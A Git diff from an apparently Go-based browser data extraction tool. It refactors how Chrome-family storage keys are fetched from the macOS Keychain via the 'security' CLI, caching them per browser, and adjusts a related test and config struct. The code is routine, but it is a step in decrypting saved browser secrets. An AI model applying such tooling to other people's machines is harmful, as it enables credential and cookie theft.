@@ -140,20 +142,29 @@ func (r *TerminalPasswordRetriever) RetrieveKey(storage, _ string) ([]byte, erro
|
|||||||
}
|
}
|
||||||
|
|
||||||
// SecurityCmdRetriever uses macOS `security` CLI to query Keychain.
|
// SecurityCmdRetriever uses macOS `security` CLI to query Keychain.
|
||||||
// This may trigger a password dialog on macOS. The result is cached
|
// This may trigger a password dialog on macOS. Results are cached
|
||||||
// via sync.Once so that multiple profiles sharing the same retriever
|
// per storage name so each browser's key is fetched only once.
|
||||||
// instance only prompt the user once.
|
|
||||||
type SecurityCmdRetriever struct {
|
type SecurityCmdRetriever struct {
|
||||||
once sync.Once
|
mu sync.Mutex
|
||||||
key []byte
|
cache map[string]securityResult
|
||||||
err error
|
}
|
||||||
|
|
||||||
|
type securityResult struct {
|
||||||
|
key []byte
|
||||||
|
err error
|
||||||
}
|
}
|
||||||
|
|
||||||
func (r *SecurityCmdRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
|
func (r *SecurityCmdRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
|
||||||
r.once.Do(func() {
|
r.mu.Lock()
|
||||||
r.key, r.err = r.retrieveKeyOnce(storage)
|
defer r.mu.Unlock()
|
||||||
})
|
|
||||||
return r.key, r.err
|
if res, ok := r.cache[storage]; ok {
|
||||||
|
return res.key, res.err
|
||||||
|
}
|
||||||
|
|
||||||
|
key, err := r.retrieveKeyOnce(storage)
|
||||||
|
r.cache[storage] = securityResult{key: key, err: err}
|
||||||
|
return key, err
|
||||||
}
|
}
|
||||||
|
|
||||||
func (r *SecurityCmdRetriever) retrieveKeyOnce(storage string) ([]byte, error) {
|
func (r *SecurityCmdRetriever) retrieveKeyOnce(storage string) ([]byte, error) {
|
||||||
@@ -198,7 +209,7 @@ func DefaultRetriever(keychainPassword string) KeyRetriever {
|
|||||||
}
|
}
|
||||||
retrievers = append(retrievers,
|
retrievers = append(retrievers,
|
||||||
&TerminalPasswordRetriever{},
|
&TerminalPasswordRetriever{},
|
||||||
&SecurityCmdRetriever{},
|
&SecurityCmdRetriever{cache: make(map[string]securityResult)},
|
||||||
)
|
)
|
||||||
return NewChain(retrievers...)
|
return NewChain(retrievers...)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -42,9 +42,10 @@ func TestKeychainPasswordRetriever_EmptyPassword(t *testing.T) {
|
|||||||
|
|
||||||
func TestTerminalPasswordRetriever_NonTTY(t *testing.T) {
|
func TestTerminalPasswordRetriever_NonTTY(t *testing.T) {
|
||||||
// In CI/test environments, stdin is not a TTY.
|
// In CI/test environments, stdin is not a TTY.
|
||||||
// The retriever should silently return nil, nil to let the chain continue.
|
// The retriever should return an error so the chain can log it and continue.
|
||||||
r := &TerminalPasswordRetriever{}
|
r := &TerminalPasswordRetriever{}
|
||||||
key, err := r.RetrieveKey("Chrome", "")
|
key, err := r.RetrieveKey("Chrome", "")
|
||||||
require.NoError(t, err)
|
require.Error(t, err)
|
||||||
|
assert.Contains(t, err.Error(), "stdin is not a TTY")
|
||||||
assert.Nil(t, key)
|
assert.Nil(t, key)
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-6
@@ -82,12 +82,11 @@ const (
|
|||||||
|
|
||||||
// BrowserConfig holds the declarative configuration for a browser installation.
|
// BrowserConfig holds the declarative configuration for a browser installation.
|
||||||
type BrowserConfig struct {
|
type BrowserConfig struct {
|
||||||
Key string // lookup key: "chrome", "edge", "firefox"
|
Key string // lookup key: "chrome", "edge", "firefox"
|
||||||
Name string // display name: "Chrome", "Edge", "Firefox"
|
Name string // display name: "Chrome", "Edge", "Firefox"
|
||||||
Kind BrowserKind // engine type
|
Kind BrowserKind // engine type
|
||||||
Storage string // keychain/GNOME label (macOS/Linux); unused on Windows
|
Storage string // keychain/GNOME label (macOS/Linux); unused on Windows
|
||||||
KeychainPassword string // macOS login password for KeychainPasswordRetriever; ignored on Windows/Linux
|
UserDataDir string // base browser directory
|
||||||
UserDataDir string // base browser directory
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// BrowserData holds all extracted browser data with typed slices.
|
// BrowserData holds all extracted browser data with typed slices.
|
||||||
|
|||||||
Reference in New Issue
Block a user